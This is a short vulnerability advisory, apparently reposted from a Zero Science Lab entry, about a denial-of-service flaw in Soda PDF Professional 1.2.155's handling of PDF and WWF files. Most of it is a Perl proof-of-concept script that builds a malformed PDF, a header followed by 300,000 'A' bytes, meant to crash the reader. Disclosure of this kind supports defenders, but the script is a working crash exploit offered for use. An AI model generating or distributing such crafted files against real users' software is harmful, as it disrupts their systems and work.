Soda PDF Professional 1.2.155 PDF/WWF File Handling Restriction of Service (RoS)

Soda PDF Pro suffers from a restriction of service (RoS) vulnerability when handling PDF or WWF file formats which can be exploited by malicious people to cause a denial of service scenario.

——–perl code——-

use strict;

my $file = “Midnight_in_Paris.pdf”; # or .wwf
my $tovar = “\x25\x50\x44\x46\x0A”.”\x41″ x 300000;
print “\n\n[*] Creating $file file…\n”;
open ZSL, “>./$file” || die “\nCan’t open $file: $!”;
print ZSL $tovar;
print “\n[.] File successfully mounted!\n\n”;
close ZSL;

——–/perl code——-

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5056.php

Comment are closed.